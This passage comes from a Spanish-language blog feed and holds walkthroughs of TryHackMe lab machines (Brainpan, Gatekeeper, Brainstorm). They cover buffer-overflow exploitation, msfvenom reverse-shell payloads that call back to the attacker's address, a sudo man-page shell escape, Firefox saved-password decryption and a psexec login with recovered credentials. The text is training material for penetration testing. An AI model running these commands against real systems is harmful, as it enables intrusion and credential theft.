<p>¿Qué hacer ahora? Solo será necesario tomar los valores de colisión y offset de los tres parámetros necesarios nuevamente, solo eso, y modificar su valor en nuestro script; el principio de explotación sigue siendo el mismo (el offset inicial para llegar a EIP sigue siendo el mismo también).</p>

<p>Sin embargo ocurre un problema, y es que en esta máquina no se encuentran instalados ni <strong>readelf</strong> ni <strong>strings</strong> para obtener los offsets.</p>

<p><img src="/assets/images/brainpan/44.png" alt="44" /></p>

<p>Tardo un momento en tratar de averiguar cómo resolver este problema, y entonces se me ocurre algo que quizá haya sido una medida extrema, pero que considero válida y que al final funcionó: replicar el sistema. Primero veo ante qué estamos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lsb_release -a
</code></pre></div></div>

<p>Vemos que se trata de un Ubuntu Quantal 12.10, por lo que rápidamente me descargo una ISO de dicha distribución y la instalo en una máquina virtual.</p>

<p><img src="/assets/images/brainpan/45.png" alt="45" /></p>

<p>Ya con el sistema corriendo, y siendo yo administrador del mismo, puedo instalar lo que sea necesario. Afortunadamente, el sistema cuenta con las dos herramientas que necesitamos, así que solo me dedico a obtener los valores que requerimos repitiendo los pasos de dos apartados atrás.</p>

<p><img src="/assets/images/brainpan/46.png" alt="46" /></p>

<p>Podemos observar cómo estos offsets son completamente diferentes a lo que habíamos determinado en su momento. Por lo tanto, solo nos resta modificar las variables correspondientes en nuestro script.</p>

<p><img src="/assets/images/brainpan/47.png" alt="47" /></p>

<p>Y listo, al ejecutarlo nos aparecerá una bash nuevamente, pero ahora como el usuario <strong>anansi</strong>.</p>

<p><img src="/assets/images/brainpan/48.png" alt="48" /></p>

<h1 id="escalada-de-privilegios-por-permisos-sudo-en-man">Escalada de privilegios por permisos SUDO en man</h1>
<p>Ya sea que hayas seguido el Buffer Overflow de Linux o solo saltado a esta parte, la forma de escalar priviegios es haciendo un listado de permisos SUDO en el sistema:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo -l ![49]
</code></pre></div></div>

<p>Vemos que podemos ejecutar un binario personalizado como root sin proporcionar contraseña, por lo que podríamos aprovecharnos de esto para ejecutar algún comando como dicho usuario. Se ejecuta de la siguiente manera:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo /home/anansi/bin/anansi_util
</code></pre></div></div>

<p>Al ejecutarla veremos un pequeño menú con tres opciones, todas ejecutan comandos en el sistema pero la tercera es la que nos atañe en esta ocasión. Esta ejecuta el comando man (manual) del argumento que le pasemos.</p>

<p>En este caso, le he pasado <strong>man</strong> nuevamente como argumento, devolviéndome el manual de este comando. Para escapar de aquí y spawnear una bash (como root ya que estamos ejecutando un binario dentro de su contexto), simplemente escribimos lo siguiente (sin salirse del manual):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!/bin/bash
</code></pre></div></div>

<p><img src="/assets/images/brainpan/50.png" alt="50" /></p>

<p>Damos enter e inmediatamente tendremos una consola como el usuario <strong>root</strong>, habiendo escalado privilegios exitosamente.</p>

<p><img src="/assets/images/brainpan/51.png" alt="51" /></p>

<p>Como esta máquina no cuenta con flags que reportar, para corroborar que efectivamente tengamos control absoluto sobre el equipo, realizo un cambio de permisos a la bash para volverla SUID. Vemos que soy capaz de llevar a cabo este cambio, por lo que podemos asegurar que hemos comprometido completamente el equipo.</p>

<p><img src="/assets/images/brainpan/52.png" alt="52" /></p>]]></content><author><name>Blu3ming</name></author><category term="Comunidad" /><category term="Blog" /><category term="Writeup" /><category term="fuzzing" /><category term="overflow" /><category term="immunity debugger" /><category term="mona" /><category term="linux" /><category term="wine" /><category term="badchars" /><category term="scripting" /><category term="sudo" /><category term="manual" /><category term="aslr" /><category term="ret2libc" /><summary type="html"><![CDATA[Esta máquina sigue el apartado del Buffer Overflow del path. Es un sistema Linux que ejecuta un servicio .exe con ayuda de Wine. Para escalar privilegios, tenemos un permiso SUDO, pero por un error de su servidor terminamos aprendiendo también BoF en Linux.]]></summary></entry><entry><title type="html">Máquina Gatekeeper - TryHackMe (OSCP Style) (Offensive Pentesting Path)</title><link href="https://blu3ming.github.io/maquina-gatekeeper-walkthrough/" rel="alternate" type="text/html" title="Máquina Gatekeeper - TryHackMe (OSCP Style) (Offensive Pentesting Path)" /><published>2022-07-18T00:00:00+00:00</published><updated>2022-07-18T00:00:00+00:00</updated><id>https://blu3ming.github.io/maquina-gatekeeper-walkthrough</id><content type="html" xml:base="https://blu3ming.github.io/maquina-gatekeeper-walkthrough/"><![CDATA[<h1 id="introducción">Introducción</h1>
<p>La máquina se encuentra en <a href="https://tryhackme.com/room/gatekeeper">TryHackMe</a>. Es una máquina Windows que cuenta con un servicio vulnerable a Buffer Overflow. Para explotarlo, deberemos primero pasar el binario a una máquina donde podamos replicar los ataques a fin de obtener el script que logre vulnerarlo. Al final, solo ejecutaremos dicho script en la máquina víctima.</p>

<p>Posteriormente, para escalar a usuario Administrator, deberemos descifrar una base de datos de contraseñas guardadas en Firefox y conectarnos a la máquina víctima por medio de psexec.</p>

<h1 id="escaneo-de-puertos">Escaneo de puertos</h1>
<p>Verificamos que se trata de una máquina Windows por medio de una traza ICMP.</p>

<p><img src="/assets/images/gatekeeper/1.png" alt="1" /></p>

<p>Iniciamos con un escaneo básico con <strong>nmap</strong> en busca de puertos abiertos en el sistema víctima:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -sS --min-rate 5000 -p- --open -Pn -n -vv 10.10.181.112 -oG allPorts
</code></pre></div></div>

<p><img src="/assets/images/gatekeeper/2.png" alt="2" /></p>

<p>Observamos que hay varios puertos abiertos: entre ellos el servicio SMB (139 y 445) y dos desconocidos: 3387 y 31337; el resto pueden ser descartados.</p>

<p>Realizamos un escaneo a profundidad de dichos puertos en busca de servicios y versiones que corren en ellos.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -sC -sV -p&lt;PUERTOS&gt; 10.10.181.112 -oN targeted
</code></pre></div></div>

<p><img src="/assets/images/gatekeeper/3.png" alt="3" /></p>

<p>Vemos que en el puerto desconocido (31337) detecta ciertos comandos que el programa parece estar regresando, dándonos a entender que se trata de un servicio personalizado.</p>

<h1 id="smb">SMB</h1>
<p>Intentamos loguearnos por medio de un usuario anónimo para listar los servicios compartidos por SMB:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient -L 10.10.181.112 -N
</code></pre></div></div>

<p>Este comando nos devuelve una carpeta compartida a la cual podemos acceder, llamada <strong>Users</strong>. Accedemos con la misma herramienta:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient //10.10.181.112/Users -N
</code></pre></div></div>

<p>Dentro encontraremos el siguiente directorio:</p>

<p><img src="/assets/images/gatekeeper/4.png" alt="4" /></p>

<p>Destaca la carpeta <strong>Share</strong>, donde dentro podemos encontrar un binario llamado <strong>gatekeeper.exe</strong>. Dando seguimiento a las máquinas que hemos resuelto hasta ahora, es probable que se trate de el binario del servicio que corre en el puerto 31337.</p>

<p><img src="/assets/images/gatekeeper/5.png" alt="5" /></p>

<h1 id="enumeración-de-los-puertos-restantes">Enumeración de los puertos restantes</h1>
<p>Como desconocemos los servicios que corren en los dos puertos que nos quedan, intentamos conectarnos a ellos primero con ayuda de <strong>telnet</strong>. El primero de ellos (3389) no nos devuelve ninguna cabecera ni información al respecto, por lo que pasamos de él de momento.</p>

<p><img src="/assets/images/gatekeeper/6.png" alt="6" /></p>

<p>El segundo (31337) sí nos devuelve algo. Se trata de un servicio que recibe una cadena como entrada y devuelve un saludo del estilo:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hello &lt;ENTRADA&gt;
</code></pre></div></div>

<p>Este tipo de servicios abiertos y que solicitan una entrada de datos pueden ser vulnerables a Buffer Overflow.</p>

<p><img src="/assets/images/gatekeeper/7.png" alt="7" /></p>

<h1 id="análisis-del-bof-y-creación-del-exploit">Análisis del BoF y creación del exploit</h1>
<p>Para corroborar eso último, mandamos una enorme cantidad de caracteres para ver si el servicio logra crashear. Se intentó con 1000 caracteres:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Con esto generamos la cantidad de caracteres necesarios:
python -c "print('A'*1000)"
</code></pre></div></div>

<p><img src="/assets/images/gatekeeper/8.png" alt="8" /></p>

<p>Como podemos ver, el servicio crashea y cierra la conexión al recibir esta cantidad de información. Iniciamos el análisis pasando el binario a nuestro Windows 7 para debuguearlo y encontrar el offset para el Buffer Overflow.</p>

<p>Como podemos ver, tenemos conexión con el server y este muestra en consola la cantidad de caracteres que recibe y la cantidad de caracteres que devuelve:</p>

<p><img src="/assets/images/gatekeeper/9.png" alt="9" /></p>

<p>Corremos nuestro script <a href="https://github.com/blu3ming/Buffer-Overflow-Scripts/blob/main/fuzzer.py">fuzzer.py</a>, pero por desgracia este no logra completarse dado que cierra conexión desde 100 caracteres. Esto es un error, ya que incluso se intentó con un solo caracter y aún así saltaba el mismo problema:</p>

<p><img src="/assets/images/gatekeeper/10.png" alt="10" /></p>

<p>Por lo tanto, trataremos de adivinar el número de caracteres inicial. Como vimos en la ejecución inicial, con 1000 caracteres es más que suficiente para que el servicio crasheé, así que ejecutamos el script <a href="https://github.com/blu3ming/Buffer-Overflow-Scripts/blob/main/exploit.py">exploit.py</a> con esta cantidad de bytes en el payload.</p>

<p><img src="/assets/images/gatekeeper/11.png" alt="11" /></p>

<p>Como podemos ver, el servicio crashea y el EIP se sobreescribe con las 4 A’s. Trabajaremos con este valor a partir de ahora. Creamos ahora nuestro patrón de caracteres con ayuda de <strong>pattern_create.rb</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/opt/metasploit-framework-5101/tools/exploit/pattern_create.rb -l 1000
</code></pre></div></div>

<p><strong>Nota:</strong> Esta ruta puede cambiar de sistema a sistema, en algunos se localiza en /usr/share/metasploit-framework…</p>

<p><img src="/assets/images/gatekeeper/12.png" alt="12" /></p>

<p>Enviamos este patrón en el payload de nuestro <strong>exploit.py</strong>. Cuando crasheé el servicio, buscamos el offset exacto en el que se sobreescribe el EIP.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!mona findmsp -distance 1000
</code></pre></div></div>

<p>El análisis retorna que el offset exacto es de 146 (bastante alejado de los 1000 caracteres que enviamos, pero más vale que sobre a que falte), es decir, necesitamos enviar 146 caracteres para llegar al momento exacto donde inicia el EIP.</p>

<p><img src="/assets/images/gatekeeper/13.png" alt="13" /></p>

<p>Colocamos “BBBB” en la variable <strong>retn</strong> para corroborar que podamos sobreescribir el registro EIP, ya habiendo colocado el offset correcto en el script. Como se observa, esto es posible (EIP vale 42424242).</p>

<p><img src="/assets/images/gatekeeper/14.png" alt="14" /></p>

<p>El siguiente paso es buscar los badchars del servicio. Iniciamos creando el bytearray base en mona contemplando el badchar \x00 por defecto:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!mona bytearray -b "\x00"
</code></pre></div></div>

<p>Colocamos la cadena de bytes en nuestro script, contemplando igualmente el \x00 por defecto y lo ejecutamos. Hacemos el comparativo de ambos con ayuda de mona para detectar los badchars:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!mona compare -f c:\mona\gatekeeper\bytearray.bin -a &lt;DIRECCION DEL ESP&gt;
</code></pre></div></div>

<p><img src="/assets/images/gatekeeper/15.png" alt="15" /></p>

<p>Como podemos observar, en la primera pasada logramos obtener dos badchars: el default \x00 y el \x0a. Para continuar, volvemos a ejecutar los pasos de crear el bytearray y enviarlo en el payload evitando este nuevo badchar. Ya en esta segunda pasada, obtenemos el <strong>Unmodified</strong>.</p>

<p><img src="/assets/images/gatekeeper/16.png" alt="16" /></p>

<p>Ahora, buscamos la dirección de la instrucción JMP ESP en el binario o su biblioteca que tenga el ASLR y SEH deshabilitados y que no contengan el badchar encontrado.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!mona jmp -r esp -cpb "\x00\x0a"
</code></pre></div></div>

<p><img src="/assets/images/gatekeeper/17.png" alt="17" /></p>

<p>Copiamos la dirección encontrada en nuestro script, añadimos los NOP’s y creamos nuestro payload con ayuda de msfvenom:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.103.114 LPORT=443 EXITFUNC=thread -b "\x00\x0a" -f c
</code></pre></div></div>

<p>Creamos una reverse shell que se conecte a nuestra máquina sin que empleé el badchar encontrado. Lo agregamos a la variable payload del <em>exploit.py</em> junto con los demás datos para el BoF.</p>

<p><img src="/assets/images/gatekeeper/18.png" alt="18" /></p>

<p>Ya con todo listo, lo ejecutamos con una consola aparte en escucha con ayuda de netcat. Vemos cómo inmediatamente obtenemos la cmd en el sistema, habiendola comprometido exitosamente.</p>

<p><img src="/assets/images/gatekeeper/19.png" alt="19" /></p>

<h1 id="comprometiendo-el-sistema-original">Comprometiendo el sistema original</h1>
<p>Ya que vimos que el script funciona, comprometemos el sistema original solo cambiando la IP destino:</p>

<p><img src="/assets/images/gatekeeper/20.png" alt="20" /></p>

<p>Al acceder al sistema, buscamos la flag de usuario, encontrándola en el directorio Desktop del usuario <strong>natbat</strong>.</p>

<p><img src="/assets/images/gatekeeper/21.png" alt="21" /></p>

<h1 id="escalada-de-privilegios">Escalada de privilegios</h1>
<p>Listamos primero los privilegios con los que contamos en el sistema, sin embargo, no encontramos nada de lo que nos podamos aprovechar.</p>

<p><img src="/assets/images/gatekeeper/22.png" alt="22" /></p>

<p>Llama la atención que en el escritorio se tenga un acceso directo (.lnk) a Firefox, el navegador web; es algo que no suele estar presente en las máquinas CTF, así que podría significar algo. En este sentido, podría ser que podamos acceder a la base de datos de contraseñas de este navegador para descifrarlas y obtener credenciales válidas.</p>

<p><img src="/assets/images/gatekeeper/23.png" alt="23" /></p>

<p>Para corroborarlo, entramos a la carpeta <em>Program Files</em> para verificar su instalación en el sistema.</p>

<p><img src="/assets/images/gatekeeper/24.png" alt="24" /></p>

<h1 id="descifrado-de-password-database-de-firefox">Descifrado de password database de Firefox</h1>
<p>El procedimiento para descifrar una base de datos de contraseñas de este navegador consiste en tomar dos archivos de los profiles, pasándolos por un script que logra descifrarlas siempre y cuando estas no se encuentren tras una master password.</p>

<p>Para lograrlo, tendríamos que tener una forma de pasar archivos a nuestra máquina. Para ello, recordemos que contamos con una carpeta compartida por SMB, así que la ubicamos en el sistema para utilizarla. Esta se encuentra en C:\Users\Share:</p>

<p><img src="/assets/images/gatekeeper/25.png" alt="25" /></p>

<p>Ya ubicada, copiamos los siguientes archivos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>key4.db
logins.json
</code></pre></div></div>

<p>Estos se encuentran dentro del siguiente directorio:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles
</code></pre></div></div>

<p>Dentro ubicaremos un par de carpetas concernientes a los profiles del navegador web, dentro de uno de ellos estarán los archivos necesarios.</p>

<p><img src="/assets/images/gatekeeper/26.png" alt="26" /></p>

<p>Para lograr descifrar las contraseñas contenidas en estos archivos, podemos emplear el script <a href="https://github.com/lclevy/firepwd">firepwd</a>. Al ejecutarlo, nos encontramos con el siguiente error, indicando que el argumento de una función debe ser una string:</p>

<p><img src="/assets/images/gatekeeper/27.png" alt="27" /></p>

<p>Dando un vistazo en los Pull Requests del repositorio me encuentro con que alguien hizo una propuesta de cambio para arreglar este problema (el cual no fue aceptado, no entiendo por qué). Básicamente solo propone castear a string dicho argumento:</p>

<p><img src="/assets/images/gatekeeper/28.png" alt="28" /></p>

<p>Volviendo a ejecutar el script, vemos que este nos regresa las credenciales en tecto claro:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python firepwd.py

mayor:8CL701N78MdrCIsV
</code></pre></div></div>

<p><img src="/assets/images/gatekeeper/29.png" alt="29" /></p>

<h1 id="acceso-al-sistema-como-administrator">Acceso al sistema como Administrator</h1>
<p>Cuando contamos con un sistema Windows que tiene el servicio SMB habilitado, podemos entablar una conexión con este por medio de credenciales con una herramienta llamada <strong>psexec</strong>. Por desgracia, la Attack Box de TryHackMe no tiene esta herramienta bien configurada, así que cambié a mi propia Kali para esto.</p>

<p>Cabe mencionar que batallé mucho con los scripts del Firefox antes igual por culpa de la Attack Box, no lograba instalar las dependencias apropiadas ni ejecutar varios script que realizan la misma función, <em>firepwd</em> es la única que me funcionó; a partir de ahora, emplearé mi propia Kali.</p>

<p>Nos conectamos por medio de psexec al sistema proporcionando las credenciales obtenidas:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>psexec.py WORKGROUP/mayor:8CL701N78MdrCIsV@10.10.90.108

- Ejecutamos la herramienta
- Indicamos el grupo de sistema (cuando no lo conocemos, por defecto es WORKGROUP)
- Proporcionamos el suario
- Contraseña
- Indicamos la IP del sistema destino
</code></pre></div></div>

<p><img src="/assets/images/gatekeeper/30.png" alt="30" /></p>

<p>Como podemos observar, logramos obtener acceso al sistema y como el usuario administrador. Por último, solo buscamos la flag de root, la cual se encuentra en el directorio Desktop de este usuario.</p>

<p><img src="/assets/images/gatekeeper/31.png" alt="31" /></p>]]></content><author><name>Blu3ming</name></author><category term="Comunidad" /><category term="Blog" /><category term="Writeup" /><category term="fuzzing" /><category term="overflow" /><category term="immunity debugger" /><category term="mona" /><category term="windows" /><category term="badchars" /><category term="scripting" /><category term="firefox" /><category term="pivoting" /><category term="psexec" /><summary type="html"><![CDATA[Esta máquina sigue el apartado del Buffer Overflow del path. Se trata de una máquina Windows con un servicio que hay que explotar con un buffer overflow. Posteriormente escalaremos privilegios descifrando una database de contraseñas de un navegador web.]]></summary></entry><entry><title type="html">Máquina Brainstorm - TryHackMe (OSCP Style) (Offensive Pentesting Path)</title><link href="https://blu3ming.github.io/maquina-brainstorm-walkthrough/" rel="alternate" type="text/html" title="Máquina Brainstorm - TryHackMe (OSCP Style) (Offensive Pentesting Path)" /><published>2022-07-14T00:00:00+00:00</published><updated>2022-07-14T00:00:00+00:00</updated><id>https://blu3ming.github.io/maquina-brainstorm-walkthrough</id><content type="html" xml:base="https://blu3ming.github.io/maquina-brainstorm-walkthrough/"><![CDATA[<h1 id="introducción">Introducción</h1>
<p>La máquina se encuentra en <a href="https://tryhackme.com/room/brainstorm">TryHackMe</a>. Es una máquina Windows que cuenta con un servicio vulnerable a Buffer Overflow. Para explotarlo, deberemos primero pasar el binario a una máquina donde podamos replicar los ataques a fin de obtener el script que logre vulnerarlo. Al final, solo ejecutaremos dicho script en la máquina víctima.</p>

<p>Para una introducción y algo de teoría sobre lo que es un buffer overflow, te recomiendo mi guía que hice hace un tiempo: <a href="https://blu3ming.github.io/bof-introduccion-protostar-stack0-1">Introducción al Buffer Overflow</a>. Tampoco me detendré a explicar a detalle cada paso que estoy realizando; para ello, puedes revisar la guía de la room <a href="https://blu3ming.github.io/maquina-bof-walkthrough/">Buffer Overflow Prep</a> donde también se vulnera un binario en Windows con ayuda de Immunity Debugger.</p>

<h1 id="escaneo-de-puertos">Escaneo de puertos</h1>
<p>Iniciamos con un escaneo básico con <strong>nmap</strong> en busca de puertos abiertos en el sistema víctima:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -sS --min-rate 5000 -p- --open -Pn -n -vv 10.10.38.197 -oG allPorts
</code></pre></div></div>

<p><img src="/assets/images/brainstorm/1.png" alt="1" /></p>

<p>Observamos que hay tres puertos abiertos: el 21 (FTP) y dos desconocidos de momento: 3389 y 9999.</p>

<p><strong>Nota:</strong> TryHackMe solicita en una de sus preguntas de la room la cantidad de puertos que se encuentran abiertos en el sistema, sin embargo por alguna razón la respuesta correcta allá es 6. Solo lo menciono por si buscas completar la room en la plataforma.</p>

<p>Realizamos un escaneo a profundidad de dichos puertos en busca de servicios y versiones que corren en ellos.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -sC -sV -p21,3389,9999 10.10.38.197 -oN targeted
</code></pre></div></div>

<p><img src="/assets/images/brainstorm/2.png" alt="2" /></p>

<p>Vemos que solo  es capaz de detectar el servicio que ya conocíamos, el FTP; así que comenzamos con la enumeración de este.</p>

<h1 id="ftp">FTP</h1>
<p>El escaneo de <strong>nmap</strong> nos indica que el servicio FTP permite el logueo por medio de usuario anónimo, así que lo intentamos:</p>

<p><img src="/assets/images/brainstorm/3.png" alt="3" /></p>

<p>Vemos que nos permite acceder y listar el contenido de este. Dentro encontraremos una carpeta llamada <strong>chatserver</strong>, y dentro dos archivos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chatserver.exe
essfunc.dll
</code></pre></div></div>

<p>Los descargamos a nuestra máquina con ayuda del comando GET (esto fue un error, pero veremos por qué más adelante).</p>

<h1 id="enumeración-de-los-puertos-restantes">Enumeración de los puertos restantes</h1>
<p>Como desconocemos los servicios que corren en los dos puertos que nos quedan, intentamos conectarnos a ellos primero con ayuda de <strong>telnet</strong>. El primero de ellos (3389) no nos devuelve ninguna cabecera ni información al respecto, por lo que pasamos de él de momento.</p>

<p>El segundo (9999) sí nos devuelve una cabecera. Se trata de un servicio de chat llamado <strong>Brainstorm</strong>, el cual solicita un username como entrada. Este tipo de servicios abiertos y que solicitan una entrada de datos pueden ser vulnerables a Buffer Overflow.</p>

<p><img src="/assets/images/brainstorm/4.png" alt="4" /></p>

<h1 id="análisis-del-bof">Análisis del BoF</h1>
<p>Para corroborar eso último, mandamos una enorme cantidad de caracteres para ver si el servicio logra crashear. Se intentó con 1000 caracteres, pero no funcionó; luego con 2000, pero tampoco.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Con esto generamos la cantidad de caracteres necesarios:
python -c "print('A'*2000)"
</code></pre></div></div>

<p><img src="/assets/images/brainstorm/5.png" alt="5" /></p>

<p>Para no hacer esto manualmente, y ya ir iniciando con el proceso de explotación por una posible vulnerabilidad de Buffer Overflow, corremos nuestro script <em>fuzzer.py</em>:</p>

<p><img src="/assets/images/brainstorm/6.png" alt="6" /></p>

<p>Como podrás notar, es nuestro mismo script que empleamos en la room <a href="https://blu3ming.github.io/maquina-bof-walkthrough">Buffer Overflow Prep</a> tan solo eliminando el <em>prefix</em>, dado que no necesitamos mandar un comando específico al servicio, solo los datos de entrada.</p>

<p>Iniciamos corriendo el script en el servicio original, viendo cómo este crashea al llegar a los 6600 caracteres. Esto ocasiona que el servicio crasheé en la máquina víctima, por lo que tendríamos que estarla reiniciando en cada ocasión.</p>

<p><img src="/assets/images/brainstorm/7.png" alt="7" /></p>

<h1 id="creación-del-script-para-ejecutar-el-buffer-overflow">Creación del script para ejecutar el Buffer Overflow</h1>
<p>Dado que no queremos estar reiniciando el servicio a cada rato, y necesitamos correrlo en un entorno controlado para poder hacer el análisis de offset, badchars y la creación del script, necesitamos el binario original.</p>

<p>Recordemos que este se encontraba en el servicio FTP, tanto el binario como la biblioteca dll; así que las pasamos a una máquina Windows que tengamos bajo nuestro control para poder hacer este análisis.</p>

<p>Como no tengo preparada una máquina Windows con Immunity Debugger, tuve que usar la máquina que se nos proporciona en la room <a href="https://blu3ming.github.io/maquina-bof-walkthrough">Buffer Overflow Prep</a>, solo que ahora nos conectaremos con ayuda de <strong>Remmina</strong> en Linux; para ello, proporcionamos las credenciales:</p>

<p><img src="/assets/images/brainstorm/8.png" alt="8" /></p>

<p>Pasamos los archivos del servicio con ayuda de un servidor HTTP en Python (dado que las máquinas están en la misma red).</p>

<p><img src="/assets/images/brainstorm/9.png" alt="9" /></p>

<p>Sin embargo, al querer ejecutarlo, nos encontraremos con que Windows no logra iniciarlo; esto se debe a que el binario se encuentra corrupto junto con su <em>dll</em>.</p>

<p><img src="/assets/images/brainstorm/10.png" alt="10" /></p>

<p>Es aquí donde entra el error del que hablaba en el análisis del servicio FTP, y es que obtener archivos desde este servicio puede hacer que se corrompan en el camino, para evitarlo, es recomendable iniciar el servicio FTP en modo binario para poder descargar de forma correcta cualquier archivo dentro de este servicio.</p>

<h1 id="ftp-ahora-en-modo-binario">FTP ahora en modo binario</h1>
<p>Regresamos al FTP, solo que ahora deberemos activar el modo binario para descargar correctamente los archivos. Para ello, solo necesitamos escribir el comando <strong>binary</strong> después de habernos logueado. El servicio regresará la siguiente respuesta:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Type set to I
</code></pre></div></div>

<p>Ya con esto, podemos iniciar con el listado del directorio y la descarga de archivos con ayuda del comando get:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>get chatserver.exe
get essfunc.dll
</code></pre></div></div>

<p><img src="/assets/images/brainstorm/11.png" alt="11" /></p>

<h1 id="regresamos-con-el-análisis-del-binario-y-creación-del-script">Regresamos con el análisis del binario y creación del script</h1>
<p>Ya con los archivos correctos, vemos cómo Windows ahora sí logra ejecutarlos correctamente.</p>

<p><img src="/assets/images/brainstorm/12.png" alt="12" /></p>

<p>Con el servicio corriendo en nuestro Windows, iniciamos el fuzzing en busca del número de caracteres que logran crashearlo. La primera vez que lo ejecutamos en el sistema original, vimos que crasheaba a los 6600 caracteres, sin embargo, ahora lo hace a los 6300.</p>

<p>Para verificar cuál es el valor correcto, realizamos este fuzzing tres veces, obteniendo en todos los escenarios los 6300 caracteres.</p>

<p><img src="/assets/images/brainstorm/13.png" alt="13" /></p>

<p>Trabajaremos con este valor a partir de ahora. Creamos ahora nuestro patrón de caracteres con ayuda de <strong>pattern_create.rb -l 6700</strong> (recordemos que tenemos que crearlo con unos 400 bytes más que el valor obtenido en el fuzzing).</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/opt/metasploit-framework-5101/tools/exploit/pattern_create.rb -l 6700
</code></pre></div></div>

<p><strong>Nota:</strong> Esta ruta puede cambiar de sistema a sistema, en algunos se localiza en /usr/share/metasploit-framework…</p>

<p><img src="/assets/images/brainstorm/14.png" alt="14" /></p>

<p>Enviamos este patrón en el payload de nuestro <strong>exploit.py</strong> (revisar la guía del <a href="https://blu3ming.github.io/maquina-bof-walkthrough">Buffer Overflow Prep</a> para ver el código). Cuando crasheé el servicio, buscamos el offset exacto en el que se sobreescribe el EIP.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!mona findmsp -distance 6700
</code></pre></div></div>

<p>El análisis retorna que el offset exacto es de 6108, es decir, necesitamos enviar 6108 caracteres para llegar al momento exacto donde inicia el EIP.</p>

<p><img src="/assets/images/brainstorm/15.png" alt="15" /></p>

<p>Colocamos “BBBB” en la variable <strong>retn</strong> para corroborar que podamos sobreescribir el registro EIP, ya habiendo colocado el offset correcto en el script. Como se observa, esto es posible (EIP vale 42424242).</p>

<p><img src="/assets/images/brainstorm/16.png" alt="16" /></p>

<p>El siguiente paso es buscar los badchars del servicio. Iniciamos creando el bytearray base en mona contemplando el badchar \x00 por defecto:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!mona bytearray -b "\x00"
</code></pre></div></div>

<p>Colocamos la cadena de bytes en nuestro script, contemplando igualmente el \x00 por defecto y lo ejecutamos. Hacemos el comparativo de ambos con ayuda de mona para detectar los badchars:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!mona compare -f c:\mona\brainstorm\bytearray.bin -a &lt;DIRECCION DEL ESP&gt;
</code></pre></div></div>

<p><img src="/assets/images/brainstorm/17.png" alt="17" /></p>

<p>Como podemos observar, en la primera pasada logramos obtener el mensaje de <strong>Unmodified</strong>, lo que nos indica que no hay más badchars que contemplar salvo el \x00 por defecto.</p>

<p>Ahora, buscamos la dirección de la instrucción JMP ESP en el binario o su biblioteca que tenga el ASLR y SEH deshabilitados y que no contengan el badchar encontrado.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!mona jmp -r esp -cpb "\x00"
</code></pre></div></div>

<p><img src="/assets/images/brainstorm/18.png" alt="18" /></p>

<p>Copiamos la dirección encontrada en nuestro script, añadimos los NOP’s y creamos nuestro payload con ayuda de msfvenom:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.103.114 LPORT=443 EXITFUNC=thread -b "\x00" -f c
</code></pre></div></div>

<p>Creamos una reverse shell que se conecte a nuestra máquina sin que empleé el badchar encontrado. Lo agregamos a la variable payload del <em>exploit.py</em>.</p>

<p><img src="/assets/images/brainstorm/19.png" alt="19" /></p>

<p>Ya con todo listo, lo ejecutamos con una consola aparte en escucha con ayuda de netcat. Vemos cómo inmediatamente obtenemos la cmd en el sistema, habiendola comprometido exitosamente.</p>

<p><img src="/assets/images/brainstorm/20.png" alt="20" /></p>

<h1 id="comprometiendo-el-sistema-original">Comprometiendo el sistema original</h1>
<p>Sin embargo no hemos terminado, dado que solo comprometimos nuestro propio sistema, no la máquina original. Este paso es super sencillo, solo será necesario cambiar la dirección IP por la de la máquina <strong>Brainstorm</strong> y volver a ejecutar el script con netcat a la escucha:</p>

<p><img src="/assets/images/brainstorm/21.png" alt="21" /></p>

<p>Vemos cómo obtenemos la consola ahora de la máquina correcta. Accedemos como el usuario administrador.</p>

<p><img src="/assets/images/brainstorm/22.png" alt="22" /></p>

